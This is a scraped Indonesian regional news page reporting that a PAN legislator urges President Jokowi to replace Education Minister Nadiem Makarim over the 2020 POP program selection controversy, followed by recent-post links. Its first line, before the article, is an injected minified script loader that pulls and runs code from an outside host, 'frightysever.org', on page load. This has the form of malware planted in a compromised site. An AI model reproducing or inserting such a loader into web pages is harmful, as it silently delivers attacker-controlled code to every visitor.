(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Pendidikan

Buntut Polemik POP, Jokowi Didesak Ganti Nadiem


KANALKALIMANTAN.COM, JAKARTA – Fraksi Partai Amanat Nasional (PAN) meminta Presiden Joko Widodo atau Jokowi segera mengevaluasi Menteri Pendidikan dan Kebudayaan Nadiem Makarim atas kinerjaya memimpin Kemendikbud.

Saleh menilai, evaluasi harus dilakukan lantaran Nadiem belum menorehkan satu prestasi pun selama menjabat. Padahal, kata dia, seharusnya Nadiem dapat membuktikan dirinya mampu memimpin Kemendikbud. Apalagi saat masa pandemi Covid-19, di mana kesempatan untuk menunjukan program dan inovasi di bidang pendidikan terbuka lebar.

Saleh juga menyoroti latar belakang pendidikan dan pekerjaan Nadiem yang diketahui tidak ada yang berkaitan dengan keahlian dirinya di bidang pendidikan.

“Alih-alih mencatatkan prestasi selama memimpin Kementerian Pendidikan dan Kebudayaan, justru Nadiem sering menimbulkan kontroversi, polemik dan perdebatan,” kata Saleh kepada wartawan, Jumat (24/7/2020)

 

Termutakhir, Kemendikbud yang dipimpin Nadiem menuai kontroversi terkait proses seleksi Program Organisasi Penggerak (POP) yang meloloskan dua yayasan terafiliasi perusahaan besar, yakni Yayasan Putera Sampoerna dan Yayasan Bhakti Tanoto. Selain itu, masih banyak organisasi dan entitas baru yang juga diloloskan.

Baca juga: Setu Curi Ribuan ‘CD’ Wanita, Dipasangkan ke Boneka untuk Fantasi

Diketahui, akibat dari munculnya polemik tersebut, Majelis Dikdasmen PP Muhammadiyah dan LP Ma’arif PBNU yang terdaftar POP justru memilih mengundurkan diri. Saleh mengatakan, pengunduran diri sebagai bentuk protes dari dua organisasi besar dan tertua di Indonesia tersebut terhadap sikap Nadiem.

“Nadiem tidak peka. Tidak memahami sejarah pergerakan ormas di Indonesia secara utuh. Sikap dan kebijakan Nadiem ini tentu sangat tidak baik. Banyak pihak yang tersinggung. Kebijakan ini pasti tidak sesuai dengan arahan dan keinginan Presiden Jokowi. Apalagi selama ini, presiden sangat dekat dengan Muhammadiyah, NU, dan ormas-ormas keagamaan lain di Indonesia,” tutur Saleh.

Baca juga: Dua Hari Berturut-turut, Kasus Sembuh Covid-19 Kalsel Lampaui Temuan Kasus Baru

Karena polemik tersebut, Saleh meminta Jokowi untuk segera memanggil dan meminta penjelasan Nadiem. Menurutnya, sebagai presiden, Jokowi dituntut menggunakan hak prerogatif mengganti Nadiem dengan seseorang yang lebih mengerti dan menguasi pendidikan untuk memimpin Kemendikbud.

“Insyaallah, tidak sulit mencari pengganti Nadiem ini. Ada banyak sosok dan tokoh yang jauh lebih menguasai persoalan pendidikan. Gendangnya sekarang ada di presiden. Semua pihak sekarang menunggu kapan gendang tersebut akan ditabuh,” imbuh Saleh. (suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

6 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

6 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

7 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

8 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

8 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

13 jam ago

This website uses cookies.